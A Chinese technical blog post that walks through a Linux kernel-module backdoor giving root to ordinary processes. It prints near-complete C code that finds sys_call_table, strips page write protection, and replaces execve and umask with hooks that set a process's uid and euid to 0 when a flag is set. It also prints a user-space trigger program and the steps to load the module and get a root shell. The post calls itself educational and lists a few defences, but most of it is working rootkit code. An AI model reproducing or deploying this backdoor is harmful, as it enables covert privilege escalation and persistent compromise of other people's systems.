一个授予普通进程ROOT权限的Linux内核级后门:原理与实现深度解析

在Linux系统中,root是拥有最高管理权限的超级用户,普通进程默认只能受限运行。本文将带你用最通俗的语言 ,拆解一个通过劫持内核系统调用,让普通用户程序瞬间获取root权限的内核级后门实现。这不是攻击教程,而是带你理解Linux权限机制、内核工作原理的技术剖析,所有内容仅用于学习和系统安全防护。

一、核心概念:这到底是什么?

简单说,这是一个Linux内核模块(LKM) + 普通用户程序 配合实现的权限提升后门

  1. 内核模块:运行在内核空间,拥有操作系统最高权限,能修改内核核心数据;
  2. 用户程序:运行在普通权限下,作为触发后门的"开关";
  3. 核心效果:普通用户运行这个小程序后,无需输入密码,直接获得root超级权限。

它的本质不是破解密码,而是欺骗内核,偷偷修改进程的权限凭证


二、必备基础知识点

想读懂代码,先搞懂这4个核心知识点,不用记复杂术语:

1. 内核空间 vs 用户空间

  • 用户空间:我们平时用的QQ、浏览器、命令行都在这里,权限极低,不能碰系统核心;
  • 内核空间 :操作系统的"大脑",管理硬件、进程、权限,只有内核代码能在这里运行,权限无敌。
    这个后门就是把代码塞进内核空间,才能篡改权限。

2. 系统调用(Syscall)

用户程序想让内核干活,必须走系统调用,比如:

  • 新建文件→调用open
  • 运行程序→调用execve
  • 设置文件权限掩码→调用umask

内核里有一张系统调用表,记录了所有系统调用的函数地址,这是后门的核心攻击目标。

3. 进程凭证(Cred)

Linux给每个进程发了一张"身份证",叫cred结构体,里面记录了:

  • 真实UID(你是谁)
  • 有效EUID(你能以谁的身份运行)
    把UID和EUID改成0,进程就是root! 这是后门的核心目的。

4. 内核模块

Linux允许动态加载内核代码,不用重启系统,这就是.ko文件。后门就是靠这个特性,悄无声息注入内核。


三、整体设计思路:两步配合,完成提权

整个后门分为内核端(提权核心)用户端(触发开关),分工明确:

整体流程原理图

复制代码
普通用户程序(rootswitch)
        ↓ 执行 umask 命令(触发内核钩子)
内核模块:劫持 umask 系统调用 → 激活提权开关
        ↓ 执行 su 命令(触发execve调用)
内核模块:劫持 execve 系统调用 → 篡改进程凭证为root
        ↓ su 进程获得最高权限
普通用户 → 秒变root

设计核心逻辑

  1. 不破坏原功能:劫持系统调用后,必须执行原来的系统调用,不被系统发现;
  2. 精准触发:只有我们的用户程序能触发提权,其他程序正常运行;
  3. 内核隐身操作:修改系统调用表权限,完成劫持后恢复保护,隐藏痕迹。

四、代码逐段拆解

cpp 复制代码
...
asmlinkage int mal_execve(const char *filename, const char *const argv[], const char *const envp[])
{
	if (ref == 1){
		printk(KERN_INFO "[+] Giving r00t!");
		
		struct cred *np;
		kuid_t nuid;
		nuid.val = 0;
		
		np = prepare_creds();
		np->uid = nuid;
		np->euid = nuid;
		commit_creds(np);
	}

	return origin_execvecall(filename,argv,envp);
}

asmlinkage int (*origin_umaskcall) (mode_t mask);

asmlinkage int mal_umask(mode_t mask){
	if (ref == 0){
		ref = 1;
	} else{
		ref = 0;
	}

	return origin_umaskcall(mask);
}


void set_sct_addr(void)
{
	sct_address = (void*)kallsyms_lookup_name("sys_call_table");
}


int sct_w(unsigned long sct_addr)
{
	unsigned int level;
	pte_t *pte = lookup_address(sct_addr,&level);
	if (pte->pte &~_PAGE_RW)
	{
		pte->pte |=_PAGE_RW;
	}
	return 0;
}


int sct_xw(unsigned long sct_addr)
{
	unsigned int level;
	pte_t *pte = lookup_address(sct_addr, &level);
	pte->pte = pte->pte &~_PAGE_RW;
	return 0;
}


static int __init hload(void)
{

	set_sct_addr();

...
	sct_w((unsigned long)sct_address);


	sct_address[__NR_execve] = mal_execve;
	sct_address[__NR_umask] = mal_umask;

	sct_xw((unsigned long)sct_address);

	printk(KERN_INFO "[?] SCT: [0x%llx]\n[?] EXECVE: [0x%llx]\n[?] UMASK: [0x%llx]",sct_address,sct_address[__NR_execve],sct_address[__NR_umask]);

	return 0;
}


static void __exit hunload(void)
{
	sct_w((unsigned long )sct_address);
	sct_address[__NR_execve] = origin_execvecall;
	sct_address[__NR_umask] = origin_umaskcall;

	sct_xw((unsigned long)sct_address);
}

module_init(hload);
module_exit(hunload);
...

If you need the complete source code, please add the WeChat number (c17865354792)

我们把代码分成用户端开关内核端后门两部分讲解。

第一部分:用户端程序

这是一个极简的C程序,名字可以叫rs.c,作用就是按顺序触发两个内核钩子

c 复制代码
#include <stdlib.h>
#include <stdio.h>

int main()
{
	// 第一次执行umask → 激活内核里的提权开关
	system("umask 22");
	printf("[!] 开关已触发!\n");
	
	// 执行su命令 → 触发内核提权
	system("su");
	
	// 第二次执行umask → 关闭提权开关
	system("umask 22");
	return 0;
}

作用:纯"工具人"程序,负责给内核模块发信号,不做任何提权操作。


第二部分:内核模块(提权核心)

这是后门的灵魂,一共做4件事:找系统调用表→修改表权限→劫持两个系统调用→恢复保护

1. 全局变量:定义"开关"和关键地址
c 复制代码
// 提权开关:0=关闭 1=激活
int ref = 0;
// 系统调用表地址(内核核心表格)
void **sct_address;
// 保存原来的execve和umask函数地址
asmlinkage int (*origin_execvecall)();
asmlinkage int (*origin_umaskcall)();

作用:记录关键数据,防止劫持后找不到原函数。

2. 劫持umask调用:控制提权开关
c 复制代码
// 伪造的umask函数
asmlinkage int mal_umask(mode_t mask){
	// 切换开关状态:0变1,1变0
	ref = !ref;
	// 执行原来的umask功能,不影响系统
	return origin_umaskcall(mask);
}

原理 :用户程序执行umask时,内核不执行原函数,先执行我们的代码,翻转提权开关。

3. 劫持execve调用:核心提权逻辑
c 复制代码
// 伪造的execve函数(运行程序时触发)
asmlinkage int mal_execve(const char *filename, const char *const argv[], const char *const envp[])
{
	// 如果开关激活(ref=1)
	if (ref == 1){
		// 新建一张权限身份证
		struct cred *np = prepare_creds();
		// 把UID设为0(root)
		kuid_t nuid = {0};
		np->uid = nuid;
		np->euid = nuid;
		// 把新身份证绑定到当前进程
		commit_creds(np);
	}
	// 执行原来的execve,正常运行程序
	return origin_execvecall(filename,argv,envp);
}

核心 :当开关打开,运行su程序时,内核偷偷把这个进程的权限改成root,再正常运行。

4. 修改系统调用表权限

系统调用表默认是只读保护的,不能修改,所以需要:

c 复制代码
// 取消保护,改为可写
int sct_w(unsigned long sct_addr){
	pte_t *pte = lookup_address(sct_addr,&level);
	pte->pte |= _PAGE_RW; // 加写权限
}
// 恢复只读保护
int sct_xw(unsigned long sct_addr){
	pte_t *pte = lookup_address(sct_addr,&level);
	pte->pte &= ~_PAGE_RW; // 去掉写权限
}
5. 模块加载/卸载:完成劫持
c 复制代码
// 加载模块:劫持系统调用
static int __init hload(void){
	set_sct_addr(); // 找到系统调用表
	sct_w(); // 取消保护
	// 替换表中的函数:原函数→我们的伪造函数
	sct_address[__NR_execve] = mal_execve;
	sct_address[__NR_umask] = mal_umask;
	sct_xw(); // 恢复保护
}

// 卸载模块:恢复原系统调用
static void __exit hunload(void){
	sct_w();
	// 把原函数放回表格
	sct_address[__NR_execve] = origin_execvecall;
	sct_address[__NR_umask] = origin_umaskcall;
	sct_xw();
}

五、完整执行流程

我们把整个过程串起来,你就能完全看懂:

  1. 编译加载:编译内核模块,用root权限加载进内核;
  2. 运行开关程序:普通用户执行小程序;
  3. 第一步触发 :程序执行umask→内核劫持→ref=1(提权开关打开);
  4. 第二步触发 :程序执行su→内核劫持execve
  5. 权限篡改 :内核给su进程创建root凭证,UID=0;
  6. 获得权限su进程以root身份运行,命令行直接变成root权限;
  7. 关闭开关 :退出root后,程序再次执行umaskref=0,开关关闭。

六、知识要点总结

1. 涉及的技术领域

  • Linux内核编程:内核模块开发、系统调用表操作;
  • Linux权限机制:进程凭证(cred)、UID/EUID权限模型;
  • 系统安全:内核级后门原理、权限提升攻击方式;
  • 内存保护:页表权限管理(只读/可写切换)。

2. 设计亮点

  1. 隐蔽性:不修改系统文件,动态加载卸载,无残留;
  2. 精准性:仅触发开关的程序能提权,不影响其他进程;
  3. 兼容性:不破坏原系统调用功能,不易被发现;
  4. 简洁性:仅劫持两个调用,逻辑简单高效。

3. 安全防护启示

这个后门也告诉我们如何防护这类攻击:

  1. 禁止普通用户加载内核模块;
  2. 监控系统调用表篡改行为;
  3. 开启内核保护机制,禁止修改系统调用表;
  4. 仅安装可信的内核模块。


七、测试运行这个权限提升内核后门的完整步骤

加载内核模块

bash 复制代码
sudo insmod rootkit.ko

没有报错 = 加载成功

查看内核日志是否生效(可选):

bash 复制代码
dmesg

你会看到类似:

复制代码
[?] SCT: [0xffffffffxxxxxxx]
[?] EXECVE: [0xffffffffxxxxxxx]
[?] UMASK: [0xffffffffxxxxxxx]

测试提权

直接运行开关程序:

bash 复制代码
./rs

你会看到效果:

复制代码
[!] Switch hit!
# 

# 代表你已经 变成 root 用户

验证权限:

bash 复制代码
id

输出:

复制代码
uid=0(root) gid=0(root) groups=0(root)

提权成功!

退出 root:

bash 复制代码
exit

卸载模块

bash 复制代码
sudo rmmod rootkit

总结

这个示例内核后门,本质是利用Linux内核的开放性,劫持系统调用篡改进程权限 。它没有复杂的加密和隐藏,却完美诠释了Linux权限机制的核心内核级攻击的基本原理

学习它的目的,不是为了攻击,而是真正理解Linux内核的工作方式,从而更好地保护我们的系统安全。

Welcome to follow WeChat official account【程序猿编码

相关推荐
七歌杜金房4 小时前
我终于又有了自己的 Linux 电脑
linux·debian·mac
SkyWalking中文站12 小时前
认识 Horizon UI · 5/17:3D 基础设施地图
运维·监控·自动化运维
tntxia1 天前
linux curl命令详解_curl详解
linux
扛枪的书生1 天前
Linux 网络管理器用法速查
linux
SkyWalking中文站1 天前
认识 Horizon UI · 1/17:SkyWalking 新一代可观测性控制台
运维·前端·监控
顺风尿一寸1 天前
Java Socket 内核之旅:从 SocketChannel.read() 到 tcp_recvmsg 与 epoll 的完整调用链路
linux
雪梨酱QAQ2 天前
Kubeneters HA Cluster部署
运维
江华森2 天前
Spring Cloud 微服务全栈实战:从 Eureka 到 Docker Compose 一文贯通
运维
江华森2 天前
Matplotlib 数据绘图基础入门
运维
XIAOHEZIcode2 天前
Ubuntu 终端美化全栈指南:Bash 到 Kitty 踩坑实录
linux·ubuntu·命令行